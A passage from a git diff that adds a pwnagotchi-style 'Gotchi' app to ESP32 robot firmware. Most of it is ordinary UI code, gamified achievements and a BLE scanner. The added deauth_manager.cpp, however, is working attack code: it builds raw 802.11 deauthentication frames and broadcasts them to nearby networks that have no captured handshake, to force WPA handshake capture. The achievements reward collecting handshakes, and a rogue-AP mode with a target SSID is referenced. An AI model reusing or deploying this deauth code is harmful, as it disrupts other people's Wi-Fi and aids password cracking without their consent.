std::make_unique(lv_screen_active()); + _headerBoxes[i]->setSize(70, 28); + _headerBoxes[i]->setRadius(3); + _headerBoxes[i]->setTextFont(&lv_font_montserrat_14); + _headerBoxes[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int x = 10 + i * 75; + int y = 8; + _headerBoxes[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _headerBoxes[i]->setText("-"); + _headerBoxes[i]->setBgColor(lv_color_hex(0x111111)); + _headerBoxes[i]->setTextColor(lv_color_hex(0x888888)); + } + _headerBoxesCreated = true; +} + +void AppGotchi::updateHeaderBoxes() { + if (!_headerBoxesCreated) return; + + auto stats = gotchi::getStats(); + auto networks = gotchi::getNetworks(); + auto devices = gotchi::getBLEDevices(); + int progress = gotchi::getXPProgress(stats.xp, stats.level); + + char boxText[4][20]; + lv_color_t boxBgColor, boxTextColor; + + // Set up box colors based on mode + switch (_currentMode) { + case gotchi::Mode::IDLE: + boxBgColor = lv_color_hex(0x003300); + boxTextColor = lv_color_hex(0x88FF88); + snprintf(boxText[0], 20, "IDLE"); + snprintf(boxText[1], 20, "Lv:%d", (int)stats.level); + snprintf(boxText[2], 20, "XP:%d", (int)stats.xp); + snprintf(boxText[3], 20, "Nets:%d", (int)networks.size()); + break; + case gotchi::Mode::SCOUT: + boxBgColor = lv_color_hex(0x001133); + boxTextColor = lv_color_hex(0x88CCFF); + { + int bestRssi = -100; + for (const auto& n : networks) if (n.rssi > bestRssi) bestRssi = n.rssi; + snprintf(boxText[0], 20, "SCOUT"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[2], 20, "%ddBm", bestRssi > -100 ? bestRssi : 0); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + } + break; + case gotchi::Mode::HUNT: + boxBgColor = lv_color_hex(0x003300); + boxTextColor = lv_color_hex(0x88FF88); + { + int bestRssi = -100; + for (const auto& n : networks) if (n.rssi > bestRssi) bestRssi = n.rssi; + int hsCount = gotchi::getHandshakeCount(); + snprintf(boxText[0], 20, "HUNT"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[2], 20, "HS:%d", hsCount); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + } + break; + case gotchi::Mode::WARDIVE: + boxBgColor = lv_color_hex(0x331A00); + boxTextColor = lv_color_hex(0xFFCC66); + { + // Cycle through networks every 2 seconds + uint32_t now = GetHAL().millis(); + if (now - _wardiveCycleTime > 2000) { + _wardiveCycleTime = now; + if (networks.size() > 0) { + _wardiveCurrentNetworkIndex = (_wardiveCurrentNetworkIndex + 1) % networks.size(); + } + } + const char* gpsStr = stats.gpsValid ? "On" : "Off"; + if (_wardiveCurrentNetworkIndex < (int)networks.size()) { + auto& net = networks[_wardiveCurrentNetworkIndex]; + snprintf(boxText[2], 20, "%ddBm", (int)net.rssi); + } else { + snprintf(boxText[2], 20, "No nets"); + } + snprintf(boxText[0], 20, "WARDIVE"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[3], 20, "GPS:%s S:%d", gpsStr, (int)stats.gpsSatellites); + } + break; + case gotchi::Mode::BLE_SCAN: + boxBgColor = lv_color_hex(0x002233); + boxTextColor = lv_color_hex(0x66FFFF); + snprintf(boxText[0], 20, "BLE"); + snprintf(boxText[1], 20, "Devs:%d", (int)devices.size()); + snprintf(boxText[2], 20, "Scan..."); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + break; + case gotchi::Mode::SPECTRUM: + { + auto channels = gotchi::getChannelAnalysis(); + int bestCh = 1, bestCount = 999, busiestCh = 1, busiestCount = 0, totalNets = 0; + for (const auto& ch : channels) { + totalNets += ch.networkCount; + if (ch.networkCount > busiestCount) { busiestCount = ch.networkCount; busiestCh = ch.channel; } + if (ch.networkCount > 0 && ch.networkCount < bestCount) { bestCount = ch.networkCount; bestCh = ch.channel; } + } + boxBgColor = lv_color_hex(0x220033); + boxTextColor = lv_color_hex(0xFF66FF); + snprintf(boxText[0], 20, "SPECT"); + snprintf(boxText[1], 20, "Best:CH%d", bestCh); + snprintf(boxText[2], 20, "Bsy:CH%d", busiestCh); + snprintf(boxText[3], 20, "Tot:%d", totalNets); + } + break; + case gotchi::Mode::ROGUE: + { + auto& rogue = gotchi::getRogueManager(); + const char* target = rogue.getTargetSSID(); + uint8_t ch = rogue.getTargetChannel(); + bool running = rogue.isActive(); + boxBgColor = lv_color_hex(0x332200); + boxTextColor = running ? lv_color_hex(0xFFAA44) : lv_color_hex(0xFFCC88); + snprintf(boxText[0], 20, "ROGUE"); + snprintf(boxText[1], 20, "%.12s", target); + snprintf(boxText[2], 20, "CH:%d", (int)ch); + snprintf(boxText[3], 20, running ? "● On" : "○ Off"); + } + break; + case gotchi::Mode::CONFIG: + boxBgColor = lv_color_hex(0x003333); + boxTextColor = lv_color_hex(0x88FFFF); + snprintf(boxText[0], 20, "CONFIG"); + snprintf(boxText[1], 20, "WiFi:%s", gotchi::isConfigMode() ? "On" : "Off"); + snprintf(boxText[2], 20, "192.168.4.1"); + snprintf(boxText[3], 20, "TAP EXIT"); + break; + case gotchi::Mode::STATS: + boxBgColor = lv_color_hex(0x330033); + boxTextColor = lv_color_hex(0xFF88FF); + { + const char* titleStr = stats.levelTitle ? stats.levelTitle : "Unknown"; + snprintf(boxText[0], 20, "%s", titleStr); + snprintf(boxText[1], 20, "XP:%d", (int)stats.xp); + snprintf(boxText[2], 20, "Next:%d", (int)stats.xpToNextLevel); + snprintf(boxText[3], 20, "%d%%", (int)stats.progressPercent); + } + break; + default: + boxBgColor = lv_color_hex(0x111111); + boxTextColor = lv_color_hex(0x888888); + snprintf(boxText[0], 20, "MODE"); + snprintf(boxText[1], 20, "-"); + snprintf(boxText[2], 20, "-"); + snprintf(boxText[3], 20, "-"); + break; + } + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i]->setBgColor(boxBgColor); + _headerBoxes[i]->setTextColor(boxTextColor); + _headerBoxes[i]->setText(boxText[i]); + } +} + +void AppGotchi::destroyHeaderBoxes() { + if (!_headerBoxesCreated) return; + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i].reset(); + } + _headerBoxesCreated = false; +} \ No newline at end of file diff --git a/firmware/main/apps/app_gotchi/app_gotchi.h b/firmware/main/apps/app_gotchi/app_gotchi.h new file mode 100644 index 0000000..6b1c9f9 --- /dev/null +++ b/firmware/main/apps/app_gotchi/app_gotchi.h @@ -0,0 +1,105 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include + +class AppGotchi : public mooncake::AppAbility { +public: + AppGotchi(); + + void onCreate() override; + void onOpen() override; + void onRunning() override; + void onClose() override; + +private: + void initGotchi(); + void updateGotchi(); + void handleInput(); + void updateAvatar(); + void updateHeadAnimation(); + void updateNeonLights(); + void cycleMode(); + void cycleModeBackward(); + void renderUI(); + void createSpectrumLabels(); + void updateSpectrumLabels(); + void destroySpectrumLabels(); + void createNetworkBars(); + void updateNetworkBars(); + void destroyNetworkBars(); + void createSignalBars(); + void updateSignalBars(); + void destroySignalBars(); + void createBLELabels(); + void updateBLELabels(); + void destroyBLELabels(); + void createHeaderBoxes(); + void updateHeaderBoxes(); + void destroyHeaderBoxes(); + + std::mutex _mutex; + bool _isRunning = false; + uint32_t _lastUpdate = 0; + uint32_t _lastHeadAnim = 0; + uint32_t _lastModeChange = 0; + uint32_t _pressStartTime = 0; + int _pressX = 0; + int _pressY = 0; + + gotchi::Mode _currentMode = gotchi::Mode::IDLE; + gotchi::Mode _lastLoggedMode = gotchi::Mode::IDLE; + int _headYawOffset = 0; + int _headPitchOffset = 0; + int16_t _lastTargetYaw = 0; + int16_t _lastTargetPitch = 0; + bool _touchTracking = false; + + std::unique_ptr _statsLabel; + std::unique_ptr _networkListLabel; + + // SPECTRUM mode channel heatmap labels (14 channels) + static constexpr int NUM_CHANNELS = 14; + std::unique_ptr _spectrumLabels[NUM_CHANNELS]; + bool _spectrumLabelsCreated = false; + + // SCOUT/HUNT mode network signal bars (8 networks) + static constexpr int MAX_NETWORK_BARS = 8; + std::unique_ptr _networkBars[MAX_NETWORK_BARS]; + bool _networkBarsCreated = false; + + // WARDIVE mode signal distribution (3 categories) + static constexpr int NUM_SIGNAL_BARS = 3; + std::unique_ptr _signalBars[NUM_SIGNAL_BARS]; + bool _signalBarsCreated = false; + + // BLE_SCAN mode device list (10 devices) + static constexpr int MAX_BLE_DEVICES = 10; + std::unique_ptr _bleLabels[MAX_BLE_DEVICES]; + bool _bleLabelsCreated = false; + + // Header boxes (4 boxes for each mode's header) + static constexpr int NUM_HEADER_BOXES = 4; + std::unique_ptr _headerBoxes[NUM_HEADER_BOXES]; + bool _headerBoxesCreated = false; + + // WARDIVE signal cycling + uint32_t _wardiveCycleTime = 0; + int _wardiveCurrentNetworkIndex = 0; + + uint32_t _lastNetworkCount = 0; + uint32_t _lastBLEDeviceCount = 0; + uint32_t _lastIdleSpeak = 0; + int _neonFlashCount = 0; + gotchi::IdleDialogue _idleDialogue; + int _lastExcitementLevel = 0; +}; \ No newline at end of file diff --git a/firmware/main/apps/app_launcher/app_launcher.cpp b/firmware/main/apps/app_launcher/app_launcher.cpp index e1e3d20..f0a019a 100644 --- a/firmware/main/apps/app_launcher/app_launcher.cpp +++ b/firmware/main/apps/app_launcher/app_launcher.cpp @@ -26,12 +26,10 @@ void AppLauncher::onLauncherOpen() LvglLockGuard lock; - if (!_startup_checked && !GetHAL().isAppConfiged()) { - mclog::tagInfo(getAppInfo().name, "app not configured, start startup worker"); - _startup_worker = std::make_unique(); - } else { - create_launcher_view(); - } + // Skip startup worker - always show launcher with all apps (including Gotchi) + // This bypasses the "Welcome!" setup screen + _startup_checked = true; + create_launcher_view(); } void AppLauncher::onLauncherRunning() diff --git a/firmware/main/apps/apps.h b/firmware/main/apps/apps.h index 77cc9b7..631be6b 100644 --- a/firmware/main/apps/apps.h +++ b/firmware/main/apps/apps.h @@ -1,5 +1,5 @@ /* - * SPDX-FileCopyrightText: 2026 M5Stack Technology CO LTD + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi * * SPDX-License-Identifier: MIT */ @@ -12,3 +12,4 @@ #include "app_app_center/app_app_center.h" #include "app_ezdata/app_ezdata.h" #include "app_dance/app_dance.h" +#include "app_gotchi/app_gotchi.h" diff --git a/firmware/main/gotchi/achievement_system.cpp b/firmware/main/gotchi/achievement_system.cpp new file mode 100644 index 0000000..4a103dd --- /dev/null +++ b/firmware/main/gotchi/achievement_system.cpp @@ -0,0 +1,296 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "achievement_system.h" +#include "xp_system.h" +#include "wifi_scanner.h" +#include "network_db.h" +#include +#include +#include +#include + +static const char* TAG = "gotchi_achievements"; + +namespace gotchi { + +const AchievementDef AchievementSystem::ACHIEVEMENTS[] = { + // Network discovery (8 achievements) + {"First Contact", "Discover your first WiFi network", 10, true}, + {"Curious", "Discover 10 networks", 25, true}, + {"Popular", "Discover 50 networks", 50, true}, + {"Crowd", "Discover 100 networks", 75, true}, + {"Hub", "Discover 250 networks", 100, true}, + {"Nexus", "Discover 500 networks", 150, true}, + {"Grid", "Discover 1000 networks", 200, true}, + {"Omni", "Discover 2000 networks", 200, true}, + + // Handshake capture (6 achievements) + {"First Handshake", "Capture your first handshake", 25, true}, + {"Key Collector", "Capture 5 handshakes", 50, true}, + {"Crypto Hunter", "Capture 10 handshakes", 75, true}, + {"Handshake Pro", "Capture 25 handshakes", 100, true}, + {"Password Collector", "Capture 50 handshakes", 150, true}, + {"Vault", "Capture 100 handshakes", 200, true}, + + // BLE discovery (5 achievements) + {"BLE Spotted", "Discover your first BLE device", 10, true}, + {"Bluetooth Hunter", "Discover 5 BLE devices", 25, true}, + {"BLE Scanner", "Discover 25 BLE devices", 50, true}, + {"Low Energy Master", "Discover 50 BLE devices", 75, true}, + {"Radio Wave", "Discover 100 BLE devices", 100, true}, + + // Channel exploration (4 achievements) + {"Channel Surfer", "Visit 3 different channels", 15, true}, + {"Frequency Jumper", "Visit 6 different channels", 25, true}, + {"Spectrum Explorer", "Visit 10 different channels", 50, true}, + {"All Channels", "Visit all 13 channels", 100, true}, + + // Time-based (4 achievements) + {"1 Hour", "Run for 1 hour", 10, true}, + {"Dedicated", "Run for 12 hours", 25, true}, + {"Week Warrior", "Run for 7 days", 75, true}, + {"Loyal", "Run for 30 days", 150, true}, + + // Mode usage (6 achievements) + {"Scout", "Use SCOUT mode", 10, true}, + {"Hunter", "Use HUNT mode", 10, true}, + {"War Driver", "Use WARDIVE mode", 10, true}, + {"Spectrum Analyzer", "Use SPECTRUM mode", 10, true}, + {"BLE Enumerator", "Use BLE_SCAN mode", 10, true}, + {"Config Master", "Use CONFIG mode", 10, true}, + + // Special (4 achievements) + {"First Prestige", "Reach prestige level 1", 100, true}, + {"Omega", "Reach prestige level 5", 200, false}, + {"Deep Thought", "Reach level 42", 200, true}, + {"Enigma", "Reach level 40 (hints at secrets)", 50, true}, +}; + +const char* AchievementSystem::DAILY_CHALLENGES[] = { + "Network Hunter|Discover 5 networks|50", + "Scanner|Scan for 10 minutes|50", + "Signal Seeker|Find a network with RSSI > -50|50", + "First Catch|Capture 1 handshake|75", + "Channel Surfer|Visit 3 different channels|50", + "BLE Explorer|Find 3 BLE devices|50", + "Persistence|Run for 30 minutes|50", + "Multi-Channel|Scan 5 different channels|50", +}; + +AchievementSystem::AchievementSystem() + : _achievementsBitmask(0), _achievementCount(0), _achievementXP(0), + _dailyChallengeSeed(0), _dailyChallengeCompleted(false), + _dailyStreak(0), _initialized(false) {} + +void AchievementSystem::init() { + if (_initialized) return; + loadFromNVS(); + _initialized = true; + ESP_LOGI(TAG, "Achievement System initialized: %u achievements, %d XP", _achievementCount, (int)_achievementXP); +} + +void AchievementSystem::update(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { + uint64_t oldAchievements = _achievementsBitmask; + + checkUnlockAchievements(networksFound, handshakes, uptimeHours, mode, rogue, config); + + if (_achievementsBitmask != oldAchievements) { + uint64_t newlyUnlocked = _achievementsBitmask & ~oldAchievements; + + // Calculate XP from newly unlocked achievements + for (int i = 0; i < 37; i++) { + if (newlyUnlocked & (1ULL << i)) { + if (ACHIEVEMENTS[i].grantsXP) { + _achievementXP += ACHIEVEMENTS[i].xpReward; + // Award the XP + addXP(ACHIEVEMENTS[i].xpReward); + ESP_LOGI(TAG, "Achievement '%s' unlocked! +%d XP", + ACHIEVEMENTS[i].name, ACHIEVEMENTS[i].xpReward); + } + } + } + + _achievementCount = __builtin_popcountll(_achievementsBitmask); + saveToNVS(); + ESP_LOGI(TAG, "Achievement(s) unlocked! Total: %u, Total XP: %d", + _achievementCount, (int)_achievementXP); + } +} + +void AchievementSystem::unlockAchievement(int index) { + if (index < 0 || index >= 37) return; + _achievementsBitmask |= (1ULL << index); +} + +void AchievementSystem::checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { + // Network discovery (0-7) + if (networksFound >= 1) unlockAchievement(0); + if (networksFound >= 10) unlockAchievement(1); + if (networksFound >= 50) unlockAchievement(2); + if (networksFound >= 100) unlockAchievement(3); + if (networksFound >= 250) unlockAchievement(4); + if (networksFound >= 500) unlockAchievement(5); + if (networksFound >= 1000) unlockAchievement(6); + if (networksFound >= 2000) unlockAchievement(7); + + // Handshake capture (8-13) + if (handshakes >= 1) unlockAchievement(8); + if (handshakes >= 5) unlockAchievement(9); + if (handshakes >= 10) unlockAchievement(10); + if (handshakes >= 25) unlockAchievement(11); + if (handshakes >= 50) unlockAchievement(12); + if (handshakes >= 100) unlockAchievement(13); + + // BLE discovery (14-18) + int bleCount = getBLEDeviceCount(); + if (bleCount >= 1) unlockAchievement(14); + if (bleCount >= 5) unlockAchievement(15); + if (bleCount >= 25) unlockAchievement(16); + if (bleCount >= 50) unlockAchievement(17); + if (bleCount >= 100) unlockAchievement(18); + + // Channel exploration (19-22) + uint16_t channelsVisited = getWifiScanner().getChannelsVisitedMask(); + int channelCount = __builtin_popcount(channelsVisited); + if (channelCount >= 3) unlockAchievement(19); + if (channelCount >= 6) unlockAchievement(20); + if (channelCount >= 10) unlockAchievement(21); + if (channelCount >= 13) unlockAchievement(22); + + // Time-based (23-26) + if (uptimeHours >= 1) unlockAchievement(23); + if (uptimeHours >= 12) unlockAchievement(24); + if (uptimeHours >= 168) unlockAchievement(25); + if (uptimeHours >= 720) unlockAchievement(26); + + // Mode usage (27-32) + if (mode == Mode::SCOUT) unlockAchievement(27); + if (mode == Mode::HUNT) unlockAchievement(28); + if (mode == Mode::WARDIVE) unlockAchievement(29); + if (mode == Mode::SPECTRUM) unlockAchievement(30); + if (mode == Mode::BLE_SCAN) unlockAchievement(31); + if (mode == Mode::CONFIG) unlockAchievement(32); + + // Special (33-36) + uint8_t prestige = getPrestige(); + if (prestige >= 1) unlockAchievement(33); + if (prestige >= 5) unlockAchievement(34); + + int32_t level = getXPSystem().getLevel(); + if (level >= 40) unlockAchievement(35); // Enigma + if (level >= 42) unlockAchievement(36); // Deep Thought +} + +bool AchievementSystem::getDailyChallenge(ChallengeInfo& challenge) { + time_t now = time(nullptr); + struct tm* tm_info = localtime(&now); + int dayOfYear = tm_info->tm_yday; + + _dailyChallengeSeed = dayOfYear; + + int challengeIndex = dayOfYear % 8; + + // Parse challenge string: "name|description|xp" + const char* challengeStr = DAILY_CHALLENGES[challengeIndex]; + static char name[32], desc[64], xpStr[8]; + + // Simple parsing - find the | separators + const char* p = challengeStr; + const char* start = p; + int pos = 0; + while (*p && pos < 3) { + if (*p == '|') { + if (pos == 0) { + memcpy(name, start, p - start); + name[p - start] = '\0'; + } else if (pos == 1) { + memcpy(desc, start, p - start); + desc[p - start] = '\0'; + } + start = p + 1; + pos++; + } + p++; + } + if (pos == 2) { + strcpy(xpStr, start); + } + + challenge.name = name; + challenge.description = desc; + challenge.xpReward = atoi(xpStr); + challenge.isDaily = true; + challenge.isOneTime = false; + + return true; +} + +bool AchievementSystem::completeDailyChallenge() { + if (_dailyChallengeCompleted) return false; + + _dailyChallengeCompleted = true; + _dailyStreak++; + + // Award XP for completing the challenge + ChallengeInfo challenge; + if (getDailyChallenge(challenge)) { + addXP(challenge.xpReward); + ESP_LOGI(TAG, "Daily challenge completed! +%d XP (streak: %u)", + (int)challenge.xpReward, _dailyStreak); + } + + saveToNVS(); + return true; +} + +void AchievementSystem::loadFromNVS() { + nvs_handle_t nvs; + if (nvs_open("gotchi", NVS_READONLY, &nvs) != ESP_OK) return; + + uint64_t val64 = 0; + uint32_t val32 = 0; + int32_t valSigned = 0; + + if (nvs_get_u64(nvs, "achievements", &val64) == ESP_OK) { + _achievementsBitmask = val64; + _achievementCount = __builtin_popcountll(val64); + } + if (nvs_get_i32(nvs, "achxp", &valSigned) == ESP_OK) { + _achievementXP = valSigned; + } + if (nvs_get_u32(nvs, "dailyseed", &val32) == ESP_OK) { + _dailyChallengeSeed = val32; + } + if (nvs_get_u32(nvs, "dailydone", &val32) == ESP_OK) { + _dailyChallengeCompleted = (val32 == 1); + } + if (nvs_get_u32(nvs, "dailystreak", &val32) == ESP_OK) { + _dailyStreak = val32; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded achievements: %u, XP: %d", _achievementCount, (int)_achievementXP); +} + +void AchievementSystem::saveToNVS() { + nvs_handle_t nvs; + if (nvs_open("gotchi", NVS_READWRITE, &nvs) != ESP_OK) return; + + nvs_set_u64(nvs, "achievements", _achievementsBitmask); + nvs_set_i32(nvs, "achxp", _achievementXP); + nvs_set_u32(nvs, "dailyseed", _dailyChallengeSeed); + nvs_set_u32(nvs, "dailydone", _dailyChallengeCompleted ? 1 : 0); + nvs_set_u32(nvs, "dailystreak", _dailyStreak); + nvs_commit(nvs); + nvs_close(nvs); +} + +static AchievementSystem _achievementSystem; + +AchievementSystem& getAchievementSystem() { + return _achievementSystem; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/achievement_system.h b/firmware/main/gotchi/achievement_system.h new file mode 100644 index 0000000..9e4af5a --- /dev/null +++ b/firmware/main/gotchi/achievement_system.h @@ -0,0 +1,54 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +struct AchievementDef { + const char* name; + const char* description; + uint8_t xpReward; + bool grantsXP; +}; + +class AchievementSystem { +public: + AchievementSystem(); + + void init(); + void update(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config); + + uint32_t getAchievementCount() const { return _achievementCount; } + uint32_t getAchievementsBitmask() const { return _achievementsBitmask; } + int32_t getAchievementXP() const { return _achievementXP; } + + bool getDailyChallenge(ChallengeInfo& challenge); + bool completeDailyChallenge(); + uint32_t getDailyStreak() const { return _dailyStreak; } + + void loadFromNVS(); + void saveToNVS(); + +private: + void checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config); + void unlockAchievement(int index); + + static const AchievementDef ACHIEVEMENTS[]; + static const char* DAILY_CHALLENGES[]; + + uint64_t _achievementsBitmask; + uint32_t _achievementCount; + int32_t _achievementXP; + uint32_t _dailyChallengeSeed; + bool _dailyChallengeCompleted; + uint32_t _dailyStreak; + bool _initialized; +}; + +AchievementSystem& getAchievementSystem(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/ble_scanner.cpp b/firmware/main/gotchi/ble_scanner.cpp new file mode 100644 index 0000000..4a430fa --- /dev/null +++ b/firmware/main/gotchi/ble_scanner.cpp @@ -0,0 +1,130 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "ble_scanner.h" +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "ble_scanner"; + +static int ble_gap_event_cb(ble_gap_event* event, void* arg); + +namespace gotchi { + +BLEScanner::BLEScanner() : _scanning(false), _initialized(false) { +} + +void BLEScanner::init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing BLE system..."); + GetHAL().startBleServer(); + _initialized = true; + ESP_LOGI(TAG, "BLE system ready"); +} + +bool BLEScanner::startScan() { + if (_scanning) return true; + + if (!_initialized) { + init(); + } + + ESP_LOGI(TAG, "Starting BLE scan..."); + + struct ble_gap_disc_params discParams = { + .itvl = 0x0010, + .window = 0x0010, + .filter_policy = BLE_HCI_SCAN_FILT_NO_WL, + .passive = 0, + .filter_duplicates = 1 + }; + + int rc = ble_gap_disc(BLE_OWN_ADDR_PUBLIC, 30000, &discParams, ble_gap_event_cb, NULL); + + if (rc == 0) { + _scanning = true; + ESP_LOGI(TAG, "BLE scan started successfully"); + return true; + } else { + ESP_LOGE(TAG, "BLE scan failed to start: %d", rc); + return false; + } +} + +bool BLEScanner::stopScan() { + if (!_scanning) return true; + + ble_gap_disc_cancel(); + _scanning = false; + ESP_LOGI(TAG, "BLE scan stopped, found %d devices", getNetworkDatabase().getBLEDeviceCount()); + return true; +} + +static BLEScanner _bleScanner; + +BLEScanner& getBLEScanner() { + return _bleScanner; +} + +} + +static int ble_gap_event_cb(ble_gap_event* event, void* arg) { + (void)arg; + + if (event->type == BLE_GAP_EVENT_DISC) { + const ble_gap_disc_desc* desc = &event->disc; + + auto& db = gotchi::getNetworkDatabase(); + + auto* existing = db.findBLEDevice(desc->addr.val); + if (existing) { + existing->rssi = desc->rssi; + existing->lastSeen = GetHAL().millis(); + + for (int i = 0; i < desc->length_data; i++) { + if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { + int nameLen = desc->data[i + 1]; + if (nameLen > 32) nameLen = 32; + memcpy(existing->name, &desc->data[i + 2], nameLen); + existing->name[nameLen] = '\0'; + break; + } + } + return 0; + } + + gotchi::BLEDeviceInfo device = {}; + memcpy(device.mac, desc->addr.val, 6); + device.rssi = desc->rssi; + device.advType = desc->event_type; + device.lastSeen = GetHAL().millis(); + + bool hasName = false; + for (int i = 0; i < desc->length_data; i++) { + if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { + int nameLen = desc->data[i + 1]; + if (nameLen > 32) nameLen = 32; + memcpy(device.name, &desc->data[i + 2], nameLen); + device.name[nameLen] = '\0'; + bool validName = true; + for (int j = 0; j < nameLen; j++) { + unsigned char c = device.name[j]; + if (c < 32 || c > 126) { validName = false; break; } + } + if (validName) { hasName = true; break; } + } + } + + if (!hasName) { + snprintf(device.name, 33, "Unknown_%02X%02X", device.mac[4], device.mac[5]); + } + + db.addBLEDevice(device.mac, device.rssi, device.advType); + ESP_LOGI(TAG, "BLE: %s RSSI:%d", device.name, device.rssi); + } + return 0; +} \ No newline at end of file diff --git a/firmware/main/gotchi/ble_scanner.h b/firmware/main/gotchi/ble_scanner.h new file mode 100644 index 0000000..7555da8 --- /dev/null +++ b/firmware/main/gotchi/ble_scanner.h @@ -0,0 +1,29 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class BLEScanner { +public: + BLEScanner(); + + bool isScanning() const { return _scanning; } + + bool startScan(); + bool stopScan(); + + void init(); + +private: + bool _scanning; + bool _initialized; +}; + +BLEScanner& getBLEScanner(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/deauth_manager.cpp b/firmware/main/gotchi/deauth_manager.cpp new file mode 100644 index 0000000..70c024d --- /dev/null +++ b/firmware/main/gotchi/deauth_manager.cpp @@ -0,0 +1,119 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "deauth_manager.h" +#include "network_db.h" +#include "wifi_scanner.h" +#include +#include +#include +#include +#include + +static const char* TAG = "deauth_manager"; + +namespace gotchi { + +static const uint8_t DISASSOC_REASON = 0x03; + +DeauthManager::DeauthManager() + : _taskHandle(nullptr), _active(false), _frameCount(0), _lastDeauth(0) { +} + +void DeauthManager::sendDeauthFrame(const uint8_t* bssid, uint8_t reason) { + uint8_t deauth[32] = {0}; + + uint16_t fc = 0x00C0; + memcpy(&deauth[0], &fc, 2); + deauth[2] = 0x00; deauth[3] = 0x00; + + memset(&deauth[4], 0xFF, 6); + memcpy(&deauth[10], bssid, 6); + memcpy(&deauth[16], bssid, 6); + + deauth[22] = 0; deauth[23] = 0; + deauth[24] = reason; + deauth[25] = 0; + + esp_wifi_80211_tx(WIFI_IF_STA, deauth, 26, false); +} + +void DeauthManager::deauthTask(void* param) { + (void)param; + auto& dm = getDeauthManager(); + + ESP_LOGI(TAG, "Deauth task started"); + + while (dm._active) { + uint32_t now = GetHAL().millis(); + + if (now - dm._lastDeauth > 3000) { + dm._lastDeauth = now; + + auto& db = getNetworkDatabase(); + uint8_t currentChannel = getWifiScanner().getCurrentChannel(); + + int sent = 0; + for (const auto& net : db.getNetworks()) { + if (!dm._active) break; + if (net.hasCapture) continue; + if (net.channel != currentChannel) continue; + + dm.sendDeauthFrame(net.bssid, DISASSOC_REASON); + dm._frameCount++; + sent++; + + vTaskDelay(pdMS_TO_TICKS(50)); + + if (sent >= 5) break; + } + + if (dm._frameCount % 30 == 0 && dm._frameCount > 0) { + ESP_LOGI(TAG, "Deauth frames sent: %u", dm._frameCount); + } + } + + vTaskDelay(pdMS_TO_TICKS(500)); + } + + ESP_LOGI(TAG, "Deauth task stopped, sent %u frames", dm._frameCount); + dm._active = false; + vTaskDelete(NULL); +} + +bool DeauthManager::start() { + if (_active) return true; + + ESP_LOGI(TAG, "Starting deauth attack..."); + _active = true; + _frameCount = 0; + _lastDeauth = 0; + + xTaskCreate(deauthTask, "deauth_task", 2048, NULL, 3, &_taskHandle); + return true; +} + +void DeauthManager::stop() { + if (!_active) return; + + _active = false; + + if (_taskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _taskHandle = nullptr; + } + + ESP_LOGI(TAG, "Deauth attack stopped"); +} + +void DeauthManager::update() { +} + +static DeauthManager _deauthManager; + +DeauthManager& getDeauthManager() { + return _deauthManager; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/deauth_manager.h b/firmware/main/gotchi/deauth_manager.h new file mode 100644 index 0000000..6a04da6 --- /dev/null +++ b/firmware/main/gotchi/deauth_manager.h @@ -0,0 +1,34 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class DeauthManager { +public: + DeauthManager(); + + bool isActive() const { return _active; } + uint32_t getFrameCount() const { return _frameCount; } + + bool start(); + void stop(); + void update(); + +private: + static void deauthTask(void* param); + void sendDeauthFrame(const uint8_t* bssid, uint8_t reason); + + TaskHandle_t _taskHandle; + bool _active; + uint32_t _frameCount; + uint32_t _lastDeauth; +}; + +DeauthManager& getDeauthManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp new file mode 100644 index 0000000..d505dc1 --- /dev/null +++ b/firmware/main/gotchi/gotchi.cpp @@ -0,0 +1,426 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "gotchi.h" +#include "storage.h" +#include "gps.h" +#include "xp_system.h" +#include "achievement_system.h" +#include "mode.h" +#include "network_db.h" +#include "handshake_parser.h" +#include "wifi_scanner.h" +#include "deauth_manager.h" +#include "ble_scanner.h" +#include 